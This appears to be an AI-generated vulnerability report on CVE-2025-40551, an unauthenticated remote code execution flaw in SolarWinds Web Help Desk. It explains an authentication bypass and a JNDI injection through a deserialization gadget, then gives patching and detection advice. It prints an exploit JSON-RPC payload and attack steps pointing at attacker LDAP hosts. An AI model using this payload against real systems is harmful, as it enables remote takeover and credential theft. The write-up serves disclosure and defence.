CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-40551

Ghost in the Shell: Unauthenticated RCE in SolarWinds Web Help Desk

Alon Barad
Alon Barad
Software Engineer

Feb 10, 2026·6 min read·35 visits

Executive Summary (TL;DR)

Unauthenticated attackers can bypass access controls to reach a JSON-RPC endpoint, instantiate arbitrary Java classes, and trigger a JNDI injection via `JNDIConnectionPool`, resulting in immediate RCE as SYSTEM.

A critical unauthenticated remote code execution (RCE) vulnerability in SolarWinds Web Help Desk (WHD) allows attackers to execute arbitrary commands with SYSTEM privileges. The flaw stems from a dangerous combination of an authentication bypass and insecure deserialization within the legacy 'jabsorb' library, leading to a classic JNDI injection scenario.

The Hook: It's Always DNS (or JNDI)

If you thought we left JNDI injections behind in the smoldering crater of Log4j back in 2021, I have bad news for you. SolarWinds Web Help Desk (WHD), a piece of software that likely knows more about your internal infrastructure than you do, has dropped a massive critical vulnerability that feels like a greatest hits album of Java security failures.

CVE-2025-40551 isn't just a bug; it's a catastrophic alignment of legacy code debt and modern exploitation techniques. WHD is widely used by IT departments to manage tickets and assets. Crucially, it often runs with SYSTEM or Root privileges because, well, it's easier that way, right? This makes it a prime target for initial access brokers and ransomware gangs.

Here is the reality of the situation: An unauthenticated attacker can send a few HTTP requests to your exposed WHD instance and walk away with a shell running as the highest privileged user on the box. From there, pivoting to the domain controller is usually just a formality. The vulnerability is already being exploited in the wild, earning it a spot on CISA's KEV list faster than you can say 'LDAP'.

The Flaw: A Tale of Two Bugs

This RCE is actually a beautiful (or horrifying) marriage of two separate issues. The first is an Authentication Bypass (CVE-2025-40536) that lets the riff-raff in the front door. The second is the Insecure Deserialization (CVE-2025-40551) that lets them burn the house down.

The culprit at the heart of the RCE is jabsorb, an ancient JSON-RPC library used by WHD to bridge JavaScript on the frontend with Java objects on the backend. Conceptually, jabsorb is designed to take a JSON request and instantiate a Java object to handle it. In a secure world, this endpoint would be locked behind a heavy iron gate of authentication.

However, SolarWinds' developers implemented a URL validation check that was... optimistic. By simply injecting /ajax/ into the query parameters of a request to the LoginPref page, attackers can trick the server into thinking the request is for a benign resource. This bypasses the authentication filter entirely, allowing an unauthenticated user to initialize the JSONRpcClient. Once you can talk to the JSON-RPC bridge, you can tell it to instantiate any class available on the classpath. It's like locking your front door but leaving the keys in the mailbox.

The Code: The Smoking Gun

Let's look at the mechanics. The vulnerability relies on the application's willingness to hydrate Java objects from JSON definitions without validating the class type. The attacker doesn't need to upload a malicious file; they just need to tell the server to load a class that already exists in the code but behaves badly when poked.

The 'gadget' of choice here is org.apache.xalan.lib.sql.JNDIConnectionPool. This class is present in many Java environments and is notorious in the deserialization world. It has a property called jndiPath. When this property is set, the class attempts to resolve the path using JNDI (Java Naming and Directory Interface).

Here is what the logic looks like in an abstract sense. The jabsorb library processes a request like this:

  1. Read Class: It sees javaClass: "org.apache.xalan.lib.sql.JNDIConnectionPool".
  2. Instantiate: It creates an instance of that pool.
  3. Set Properties: It sees jndiPath: "ldap://attacker.com/Exploit" and calls the setter.
  4. Trigger: The setter (or subsequent usage) triggers the lookup.

The code doesn't check if the user should be creating a Connection Pool. It just does it. And because JNDI is powerful, it reaches out to the attacker's LDAP server, downloads a remote class file, and executes it. No compiled exploit code on disk, just pure memory corruption and logic abuse.

The Exploit: From Zero to SYSTEM

Exploiting this requires a precise chain of events. It's not a single packet kill, but it's close. Here is the 'Hacker's View' of the attack lifecycle:

Step 1: The Setup First, the attacker needs a valid session context, even if unauthenticated. They hit the WHD root to grab a wosid (WebObjects Session ID) and XSRF-TOKEN. This is standard housekeeping.

Step 2: The Bypass The attacker constructs a GET request to initialize the RPC client. Notice the badparam=/ajax/ injection. This confuses the path parser, allowing access to the protected LoginPref page logic without credentials.

Step 3: The Payload Now, the attacker sends a POST request to the JSON-RPC endpoint. The payload is pure malicious art:

{
  "method": "wopage.setVariableValueForName",
  "params": [
    "exploit_trigger",
    {
      "javaClass": "org.apache.xalan.lib.sql.JNDIConnectionPool",
      "jndiPath": "ldap://10.0.0.66:1389/Exploit"
    }
  ]
}

Step 4: The Execution The server receives this, creates the connection pool, and reaches out to 10.0.0.66 on port 1389 via LDAP. The attacker's rogue LDAP server responds with a reference to a Java class file (e.g., Exploit.class) hosted on an HTTP server. The WHD server downloads this class and executes its constructor. Boom. You have a shell running as SYSTEM.

The Impact: Why You Should Panic

Let's be blunt: This is a 'Game Over' vulnerability. We aren't talking about a stored XSS where you steal a cookie. We are talking about unauthenticated Remote Code Execution on a server that is likely critical to your IT operations.

Because Web Help Desk is often integrated with Active Directory for SSO and user management, the compromised server is a treasure trove of credentials. Attackers can dump LSASS, steal service account tokens, or pivot directly to the Domain Controller.

Microsoft has confirmed active exploitation where threat actors used this exact flaw to deploy web shells and perform lateral movement within minutes of compromise. If this server is internet-facing (and Shodan says thousands of them are), it is likely already compromised. The EPSS score is skyrocketing, and ransomware groups are undoubtedly adding this to their automated scanning toolkits.

Mitigation: Stopping the Bleeding

There is only one real fix: Upgrade to version 2026.1. SolarWinds has patched both the auth bypass and the deserialization flaw. Do not pass Go, do not collect $200, just patch it.

If you cannot patch immediately (why?), you need to cut off access. Isolate the Web Help Desk server from the internet. There is almost zero valid business reason for your internal help desk portal to be reachable from the public web without a VPN.

Detection Hunting: Look for outbound traffic on ports 389 (LDAP), 636 (LDAPS), and 1099 (RMI) initiating from your WHD server. Unless your help desk is also a domain controller (God forbid), it shouldn't be making arbitrary LDAP connections to random IP addresses in Russia or the Netherlands. Also, scan your logs for the string /ajax/ appearing in query parameters for pages that shouldn't have them.

Official Patches

SolarWindsOfficial Security Advisory and Patch Download

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
54.99%
Top 2% most exploited

Affected Systems

SolarWinds Web Help Desk <= 12.8.3 HF2SolarWinds Web Help Desk 12.8.4SolarWinds Web Help Desk <= 12.8.8 HF1

Affected Versions Detail

Product
Affected Versions
Fixed Version
Web Help Desk
SolarWinds
<= 12.8.8 HF12026.1
AttributeDetail
CWE IDCWE-502 (Deserialization of Untrusted Data)
Attack VectorNetwork (CVSS: AV:N)
CVSS Score9.8 (Critical)
Privileges RequiredNone (PR:N)
Exploit StatusActive Exploitation (CISA KEV)
EPSS Score0.54991 (High Probability)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1210Exploitation of Remote Services
Lateral Movement
T1059.001Command and Scripting Interpreter: PowerShell
Execution
CWE-502
Deserialization of Untrusted Data

Vulnerability Timeline

Vulnerability Disclosed & CVE Published
2026-01-28
Added to CISA KEV Catalog
2026-02-03
Microsoft Confirms Domain Compromise Attacks
2026-02-06

References & Sources

  • [1]Horizon3.ai Technical Analysis
  • [2]Microsoft: Active Exploitation Analysis

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•28 minutes ago•GHSA-F88M-G3JW-G9CJ
8.5

GHSA-F88M-G3JW-G9CJ: Multiple Memory Safety and Integer Overflow Vulnerabilities in libvips affecting sharp

The high-performance Node.js image processing library sharp inherits several high and medium-severity security vulnerabilities from its underlying native dependency libvips. These include integer overflows in dimensions calculation, heap-based buffer overflows in GIF/TIFF and JPEG2000 processing, and out-of-bounds reads in the EXIF directory decoder, enabling denial of service and potential code execution.

Amit Schendel
Amit Schendel
0 views•7 min read
•about 2 hours ago•CVE-2026-16221
7.5

CVE-2026-16221: Interpretation Conflict leading to Host Confusion and SSRF Bypass in fast-uri

An interpretation conflict (CWE-436) exists in fast-uri due to differing handling of backslash characters between RFC 3986 and the WHATWG URL specification. This differential allows remote attackers to bypass SSRF filters and origin-allowlist protections when fast-uri is used in conjunction with WHATWG-compliant HTTP clients like Node.js native fetch or undici.

Amit Schendel
Amit Schendel
2 views•8 min read
•about 3 hours ago•CVE-2026-59889
6.5

CVE-2026-59889: @JsonView Bypass for @JsonUnwrapped Properties during Deserialization in jackson-databind

An authorization bypass vulnerability exists in FasterXML jackson-databind versions 2.18.x up to 2.18.8 (and other release branches) where the active @JsonView constraint is bypassed during the deserialization of properties marked with @JsonUnwrapped. This allows remote, authenticated attackers to alter restricted administrative properties on server-side objects by injecting flattened parameters into standard JSON payloads.

Alon Barad
Alon Barad
5 views•9 min read
•about 4 hours ago•CVE-2026-58426
9.6

CVE-2026-58426: Cryptographic Boundary-Shifting in Gitea Actions Artifacts

CVE-2026-58426 is a critical security vulnerability in Gitea Actions where improper signature serialization allows an authenticated attacker to execute a canonicalization (boundary-shifting) attack. By rewriting query parameters while keeping the signature intact, the attacker can bypass access control checks to read private workflow artifacts or modify concurrent task upload states.

Alon Barad
Alon Barad
5 views•6 min read
•about 5 hours ago•GHSA-2F96-G7MH-G2HX
8.8

GHSA-2F96-G7MH-G2HX: Command Injection Bypass in GitPython Options Validation

GitPython prior to version 3.1.51 contains a command injection vulnerability due to flaws in its option validation routine. By exploiting Git's native argument parser behavior, specifically long-option abbreviation resolution and short-option clustering, attackers can bypass the check_unsafe_options blocklist to execute arbitrary OS commands.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 6 hours ago•CVE-2026-59879
8.7

CVE-2026-59879: Infinite Loop and Integer Overflow in Immutable.js List Sizing

CVE-2026-59879 describes a critical integer overflow vulnerability in the Immutable.js library when handling indices near 32-bit boundaries. An attacker can leverage this flaw to cause a denial of service via CPU thread lockup or process crashes, as well as data corruption through silent size truncation.

Amit Schendel
Amit Schendel
6 views•8 min read